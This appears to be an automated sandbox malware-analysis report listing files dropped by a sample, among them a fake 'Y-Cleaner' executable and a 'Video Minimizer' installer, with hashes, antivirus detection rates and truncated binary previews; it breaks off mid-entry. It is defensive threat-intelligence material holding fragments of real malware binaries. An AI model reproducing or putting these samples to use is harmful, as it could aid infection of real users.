SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\fuckingdllENCR[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	97296
Entropy (8bit):	7.9982317718947025
Encrypted:	true
SSDEEP:	1536:A1FazaNKjs9ezO6kGnCRFVjltPjM9Ew1MhiIeJfZCQdOlnq32YTCUZiyAS3tUX9F:k4zaMjVUGCRzbgqw1MoIeJyQ4nyqX9F
MD5:	E6743949BBF24B39B25399CD7C5D3A2E
SHA1:	DBE84C91A9B0ACCD2C1C16D49B48FAEAEC830239
SHA-256:	A3B82FC46635A467CC8375D40DDBDDD71CAE3B7659D2BB5C3C4370930AE9468C
SHA-512:	3D50396CDF33F5C6522D4C485D96425C0DDB341DB9BD66C43EAE6D8617B26A4D9B4B9A5AEE0457A4F1EC6FAC3CB8208C562A479DCAE024A50143CBFA4E1F15F6
Malicious:	false
Preview:	XM .4Ih..]...t.&.s...v.0{.v.vs'...:.l.h...e.....R....1...r.R+Fk....~.s.....Q.....r.T.b.....~c..[........;...j.@.0.%.....x...v.w.....<ru....Yre;.b6...HQ-...8.B..Q.a...R.:.h&r.......=.;r.k..T.@....l..;#..3!.O..x.}........y'<.GfQ.K.#.L5v..].......d....N{e..@................A\..<.t.u.X.O.n..Z.. .Xb.O<.Z...h~.(.W.f.z.V.4..L...%5.0...H..`s...y.B......(IL5s:aS}X.......M9.J.o....).'..M;n6]...W..n....)...L...._..e.....>....[....RA.........'...6.N..g6....IY.%h.. 3r....^..\.b~y./....h.2......ZLk....u}..V..<.fbD.<!.._2.zo..IE...P..O...u......P.......w#.6N..&l.R}GI...LY...N.yz..j..Hy.'..._.5..Pd9.y..+....6.q...).G.c...L#....5\.M....5U])....U(..~H.m....Y....G1.r.4.B..h........P..]i...M%.............)q......]....~\|..j...b..K!..N.7R.}T.2bsq..1...L^..!.\|q.D'...s.Ln...D@..bn%0=b.Q1.....+l...QXO\|.......NC.d......{.0....8F.....<.W.y..{o..j.3.....n..4.....eS]. K...o.B.H~.sh.1....m8....6{.ls..R..q..~....w._;....X*.#..U....6n.ODbT.+Zc....q....S.$-S`YT....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\soft[1]

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1502720
Entropy (8bit):	7.646111739368707
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
MD5:	A8CF5621811F7FAC55CFE8CB3FA6B9F6
SHA1:	121356839E8138A03141F5F5856936A85BD2A474
SHA-256:	614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
SHA-512:	4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\PAB1[1].file

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.990387966645919
Encrypted:	false
SSDEEP:	48:65uxic/UNMSAjItYiA254tdqlkCuFCpfbNtm:cc9jItYbaC+zNt
MD5:	F328A95046E3A2514C36347EAEC911C0
SHA1:	8EC9C18384CA1E08A397BF7B3D46B6D784669EF0
SHA-256:	D55E86610DCAD29C3D2857D9DAE91AA51228B1FA001EA2D7BDA88B9A2B5570A9
SHA-512:	2FC3621433C5DA3DCB5B9D9133CD9D63D8F53FD60C81DDAB8B83BAD60EFB98942FC38A63DFA98EDFC8358C8E4E345A7EC8FA3AA14C18D4337CDD90EA0AED4718
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 54%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0..............&... ...@....@.. ....................................@..................................&..O....@.......................`.......%..8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H.......\ .................................................................(......BSJB............v4.0.30319......l.......#~..,...H...#Strings....t.......#US.x.......#GUID...........#Blob...........G..........3..........................................x...............Z.....!.....,.....I.................A...........&.....`.....5.................{.....@.........................A.....P ........#...R ................;...................).....1.....9.....A.....I.....Q.....Y.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\dll[1]

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\key[1].htm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	21
Entropy (8bit):	3.880179922675737
Encrypted:	false
SSDEEP:	3:gFsR0GOWW:gyRhI
MD5:	408E94319D97609B8E768415873D5A14
SHA1:	E1F56DE347505607893A0A1442B6F3659BEF79C4
SHA-256:	E29A4FD2CB1F367A743EA7CFD356DBD19AEB271523BBAE49D4F53257C3B0A78D
SHA-512:	994FA19673C6ADC2CC5EF31C6A5C323406BB351551219EE0EEDA4663EC32DAF2A1D14702472B5CF7B476809B088C85C5BE684916B73046DA0DF72236BC6F5608
Malicious:	false
Preview:	9tKiK3bsYm4fMuK47Pk3s

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\ONE[1].file

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4250887
Entropy (8bit):	7.998488969661119
Encrypted:	true
SSDEEP:	98304:IcwhQmHJ8m0sLHd1a161OHydnlWF+t22vQacL5B59eh:9wPtRjBldnlWU65z8
MD5:	23619F330C57AF62DE72DFFEBADBF07B
SHA1:	7F4B9BD506A9CC86D41F25D2FA9D352106CE2529
SHA-256:	7F7357AE47697D5052AA540D2A4E39AB31B2CA88A989D7269D1A98AD58430948
SHA-512:	7A583AC5B8E104C4397D86CEA50664831471CCE8338102849DE48F97A640BECA35147E4FFAA1BEFF99A4C5B12269A6B30ABF92269F39626A1D10D069D4DBEB34
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F......@.............@..........................@...................@..............................P........,..........................................................................................................CODE....d........................... ..`DATA....L...........................@...BSS......................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\add[1].htm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\download[1].htm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Temp\FD262DGWNd4Ftrw6rV5Cv\Bunifu_UI_v1.5.3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Temp\FD262DGWNd4Ftrw6rV5Cv\Y-Cleaner.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1502720
Entropy (8bit):	7.646111739368707
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
MD5:	A8CF5621811F7FAC55CFE8CB3FA6B9F6
SHA1:	121356839E8138A03141F5F5856936A85BD2A474
SHA-256:	614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
SHA-512:	4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\AppData\Local\Temp\is-C98MG.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-C98MG.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.289297026665552
Encrypted:	false
SSDEEP:	48:Sv1LfWvPcXegCPUo1vlZQrAxoONfHFZONfH3d1xCWMBFNL2pGSS4k+bkg6j0KHc:wfkcXegaJ/ZAYNzcld1xaX12pfSKvkc
MD5:	C8871EFD8AF2CF4D9D42D1FF8FADBF89
SHA1:	D0EACD5322C036554D509C7566F0BCC7607209BD
SHA-256:	E4FC574A01B272C2D0AED0EC813F6D75212E2A15A5F5C417129DD65D69768F40
SHA-512:	2735BB610060F749E26ACD86F2DF2B8A05F2BDD3DCCF3E4B2946EBB21BA0805FB492C474B1EEB2C5B8BF1A421F7C1B8728245F649C644F4A9ECC5BD8770A16F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....HP..........#............................@.............................`..............................................................<!.......P.......@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc........P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-C98MG.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	705536
Entropy (8bit):	6.505787907733146
Encrypted:	false
SSDEEP:	12288:HTPcYn5c/rPx37/zHBA6a5Ueyp2CrIEROlnrNORuVVwRxyF:zPcYn5c/rPx37/zHBA6pDp2mIEiVCRx+
MD5:	CC7B0A71A44CA4000DE2656C0486FD86
SHA1:	9F625DE34D3E54B02E1286B44796B7A0C8BD9719
SHA-256:	6F1C8CC0A67C06D17B5B676FECEC79703D45B368D21CAF1621A71A6A26ADC4AE
SHA-512:	1D83DC0D7EC23CE758B2452BD021A205448F2630BB5F3978D6881BACF6764D86117A63A385FD42F6FC83ED7DD02F923294FC4CF27B9A91BC95B8EDBA15DF8CEE
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................z........................@..............................................@...............................%..................................................................................................................CODE....\y.......z.................. ..`DATA.................~..............@...BSS......................................idata...%.......&..................@....tls.....................................rdata..............................@..P.reloc...... ......................@..P.rsrc...............................@..P.....................P..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Video Minimizer 2.33\LTDIS13n.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	265728
Entropy (8bit):	6.4472652154517345
Encrypted:	false
SSDEEP:	6144:Fs7u3JL96d15Y2BmKh678IuYAhN3YCjlgiZioXyLWvCe93rZ5WZOlUmpNJ5mlbb/:e7WJL96d15Y2BmKh678IuYAhN3YCjlgw
MD5:	752CA72DE243F44AF2ED3FF023EF826E
SHA1:	7B508F6B72BD270A861B368EC9FE4BF55D8D472F
SHA-256:	F8196F03F8CBED87A92BA5C1207A9063D4EEBB0C22CA88A279F1AE1B1F1B8196
SHA-512:	4E5A7242C25D4BBF9087F813D4BF057432271A0F08580DA8C894B7C290DE9E0CF640F6F616B0B6C6CAD14DC0AFDD2697D2855BA4070270824540BAE835FE8C4A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..=...........!................`;.......................................P.......................'..............p...o.......d.... .......................0..\.......................................................4............................text...k........................... ..`.rdata..............................@..@.data....9.......0..................@....idata..............................@....rsrc........ ......................@..@.reloc..T....0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Video Minimizer 2.33\gdiplus.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1645320
Entropy (8bit):	6.787752063353702
Encrypted:	false
SSDEEP:	24576:Fk18V2mHkfIE3Ip9vkWEgDecZV3W9kpOuRw8RhWd5Ixwzr6lOboU7j97S9D+z98v:FZNkf+uW3D1ZVG9kVw8I5Rv6lwH9+X
MD5:	871C903A90C45CA08A9D42803916C3F7
SHA1:	D962A12BC15BFB4C505BB63F603CA211588958DB
SHA-256:	F1DA32183B3DA19F75FA4EF0974A64895266B16D119BBB1DA9FE63867DBA0645
SHA-512:	985B0B8B5E3D96ACFD0514676D9F0C5D2D8F11E31F01ACFA0F7DA9AF3568E12343CA77F541F55EDDA6A0E5C14FE733BDA5DC1C10BB170D40D15B7A60AD000145
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s...7o..7o..7o...L..<o..7o..en...L..$o...L...o...L..6o...L..6o...L..(n...L..6o..Rich7o..................PE..L.....D@...........!.........`.......Q.......`.....p................................................................l...CN..\|...x....p...........................s.....8...............................................0............................text...n........................... ..`.data...X...........................@...Shared.......`.......P..............@....rsrc........p... ...`..............@..@.reloc...s..........................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Video Minimizer 2.33\is-12B4O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	MS Windows HtmlHelp Data
Category:	dropped
Size (bytes):	78183
Entropy (8bit):	7.692742945771669
Encrypted:	false
SSDEEP:	1536:Bkt2SjEQ3r94YqwyadpL1X6Dtn4afF1VowWb8ZmmUQNk3gNqCLbMsFxJse8hbpmn:mR/CYj9dp5XIyI2b/mY3gNjLbMsOaP
MD5:	B1B9E6D43319F6D4E52ED858C5726A97
SHA1:	5033047A30CCCF57783C600FD76A6D220021B19D
SHA-256:	8003A4A0F9F5DFB62BEFBF81F8C05894B0C1F987ACFC8654A6C6CE02B6213910
SHA-512:	E56D6EC9170DEBAC28BB514942F794F73D4C194D04C54EFF9227B6EE3C74BA4FCF239FFF0BB6556DC8B847FA89D382AF206A2C481C41A3510936B0A74192D2C2
Malicious:	false
Preview:	ITSF....`..........E.......\|.{.......".....\|.{......."..`...............x.......T.......................g1..............ITSP....T...........................................j..].!......."..T...............PMGLW................/..../#IDXHDR...F.../#ITBITS..../#IVB...N$./#STRINGS.....P./#SYSTEM..N.'./#TOPICS...F.0./#URLSTR...:.t./#URLTBL...v.D./$FIftiMain......1./$OBJINST...z.../$WWAssociativeLinks/..../$WWAssociativeLinks/Property...v../$WWKeywordLinks/..../$WWKeywordLinks/Property...r../After.jpg...4..../Auto-.hhc...^./Auto-Adjustment.htm....?./Auto-BleachTeeth.htm...z.3./Auto-Crop2Plus.htm..U.j./Auto-Emphasis.htm...w.V./Auto-EyeColor.htm...!.../Auto-EyePencil.htm..._.../Auto-EyeShadow.htm...,.3./Auto-GettingStarted.htm....Q./Auto-Lipstick.htm..R.M./Auto-Liquify.htm...-.v./Auto-Menu.htm..S.r./Auto-OrderingInformation.htm...Q.../Auto-Overview.htm..^.$./Auto-Powder.htm......./Auto-Resize.htm..s.b./Auto-Rotation.htm..?.e./Auto-Rouge.htm...=.d./Auto-SkinCare.htm...\|.{./Auto-SmartPatchCosmet

C:\Users\user\AppData\Local\Video Minimizer 2.33\is-2QCNJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	445440
Entropy (8bit):	6.439135831549689
Encrypted:	false
SSDEEP:	12288:sosmML3+OytpWFkCU1wayvT33iiDNmAE27R9sY9kP0O+:soslvJ3RaY9wU
MD5:	CAC7E17311797C5471733638C0DC1F01
SHA1:	58E0BD1B63525A2955439CB9BE3431CEA7FF1121
SHA-256:	19248357ED7CFF72DEAD18B5743BF66C61438D68374BDA59E3B9D444C6F8F505
SHA-512:	A677319AC8A2096D95FFC69F22810BD4F083F6BF55B8A77F20D8FB8EE01F2FEE619CE318D1F55C392A8F3A4D635D9285712E2C572E62997014641C36EDC060A2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...*..=...........!.........\......@!....................................... .......................'..........................P.......H.......................l....................................................................................text............................... ..`.rdata..2$.......&..................@..@.data...............................@....idata..............................@....rsrc...H...........................@..@.reloc...&.......(..................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Video Minimizer 2.33\is-2UQRT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	499712
Entropy (8bit):	6.414789978441117
Encrypted:	false
SSDEEP:	12288:fJzxYPVsBnxO/R7krZhUgiW6QR7t5k3Ooc8iHkC2eq:fZxvBnxOJ7ki3Ooc8iHkC2e
MD5:	561FA2ABB31DFA8FAB762145F81667C2
SHA1:	C8CCB04EEDAC821A13FAE314A2435192860C72B8
SHA-256:	DF96156F6A548FD6FE5672918DE5AE4509D3C810A57BFFD2A91DE45A3ED5B23B
SHA-512:	7D960AA8E3CCE22D63A6723D7F00C195DE7DE83B877ECA126E339E2D8CC9859E813E05C5C0A5671A75BB717243E9295FD13E5E17D8C6660EB59F5BAEE63A7C43
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................................................................Rich...................PE..L.....w>...........!.................-............:\|................................~e..............................$...?...d!..<....`.......................p...0..8...8...............................H............................................text............................... ..`.rdata..2*.......0..................@..@.data...h!...0... ...0..............@....rsrc........`.......P..............@..@.reloc...0...p...@...`..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Video Minimizer 2.33\is-4LK4F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	176128
Entropy (8bit):	6.204917493416147
Encrypted:	false
SSDEEP:	3072:l9iEoC1+7N9UQV2Mi8NTUU3/EO3h3E9y6GeoPRtsoWhi75MUbvSHQ:l+ssU62Mi8x9P/UVGeQRthMUbvS
MD5:	FEC4FF0C2967A05543747E8D552CF9DF
SHA1:	B4449DC0DF8C0AFCC9F32776384A6F5B5CEDE20C
SHA-256:	5374148EBCF4B456F8711516A58C9A007A393CA88F3D9759041F691E4343C7D6
SHA-512:	93E3F48CD393314178CBC86F6142D577D5EAAE52B47C4D947DBA4DFB706860B150FF5B0E546CB83114CA44666E9DF6021964D79D064B775A58698DAA9550EF13
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+0.J^..J^..J^.cE...J^..VR..J^..UU..J^.#VP..J^..UT..J^..UZ..J^..kU..J^..kZ..J^..J_..J^..iT..J^..io..J^.gLX..J^._jZ..J^.Rich.J^.................PE..L.....L...........!.....0...@.......'.......@...................................................................... e..k....X..d....`.......................p..p....................................................@...............................text....".......0.................. ..`.rdata...%...@...0...@..............@..@.data...T....p... ...p..............@....rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Video Minimizer 2.33\is-HMRND.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	645592
Entropy (8bit):	6.50414583238337
Encrypted:	false
SSDEEP:	12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
MD5:	E477A96C8F2B18D6B5C27BDE49C990BF
SHA1:	E980C9BF41330D1E5BD04556DB4646A0210F7409
